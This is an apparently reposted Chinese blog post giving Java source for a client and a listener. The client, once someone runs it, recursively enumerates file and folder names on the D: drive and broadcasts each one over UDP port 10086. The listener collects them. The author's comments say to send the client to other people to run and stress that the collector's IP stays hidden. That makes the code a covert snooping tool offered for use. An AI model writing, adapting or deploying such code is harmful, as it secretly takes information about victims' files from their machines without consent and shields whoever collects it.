打开软件就遍历桌面和D盘的软件名通过UDP广播的方式发出。服务器监听指定的端口可以获得文件夹名称。不会暴露自己的IP
生活随笔
收集整理的這篇文章主要介紹了
打开软件就遍历桌面和D盘的软件名通过UDP广播的方式发出。服务器监听指定的端口可以获得文件夹名称。不会暴露自己的IP
小編覺得挺不錯的,現在分享給大家,幫大家做個參考.
客戶端,運行會遍歷桌面,和 D 盤所有文件的名稱,通過UDP廣播的方式發送出去,服務器需要體檢開啟,并監聽對應的端口號。
import java.io.File; import java.net.DatagramPacket; import java.net.DatagramSocket; import java.net.InetAddress;/*** @author silence* 客戶端端打開就會遍歷文件,通過廣播的方式發送文件的名字* <p>* 服務器端,可以監聽10086端口,收到信息,不會暴露自己的ip* 可以在自己電腦上先運行服務器。客戶端發送給別人 執行*/ public class Silence {public static void main(String[] args) {//遍歷所有C盤//forC(new File("C:\\Users\\Administrator\\Desktop"));//遍歷所有D盤forD(new File("D:\\"));}//通過 廣播的方式發送消息private static void send(String str) {try {DatagramSocket socket = new DatagramSocket();DatagramPacket packet = new DatagramPacket(str.getBytes(), str.getBytes().length, InetAddress.getByName("255.255.255.255"), 10086);socket.send(packet);socket.close();} catch (Exception e) {e.printStackTrace();}}/*** @param fileD D盤*/private static void forD(File fileD) {if (!fileD.exists()) return;File[] files = fileD.listFiles();if (files == null || files.length == 0) return;for (File f : files) {if (f.isFile()) {send(f.getName());} else if (f.isDirectory()) {send("文件夾:" + f.getName());forD(f);}}}/*** @param file C盤*/private static void forC(File file) {File[] files = file.listFiles();for (File f : files) {if (f.isFile()) {send(f.getName());} else {send("文件夾:" + f.getName());forC(f);}}} }服務器,提前開啟,可以監聽到廣播出來的文件名
import java.net.DatagramPacket; import java.net.DatagramSocket;/*** @author silence* 服務器端,監聽10086端口可以獲得客戶端發送的數據*/ public class ServerReseive {public static void main(String[] args) throws Exception {DatagramSocket socket = new DatagramSocket(10086);while (true) {byte[] bytes = new byte[1024];DatagramPacket packet = new DatagramPacket(bytes, bytes.length);socket.receive(packet);System.out.println(new String(bytes, 0, packet.getLength()));}} }總結
以上是生活随笔為你收集整理的打开软件就遍历桌面和D盘的软件名通过UDP广播的方式发出。服务器监听指定的端口可以获得文件夹名称。不会暴露自己的IP的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: bkupexec.exe进程有什么作用
- 下一篇: 招行信用卡怎么办理 最快最好的方式原来是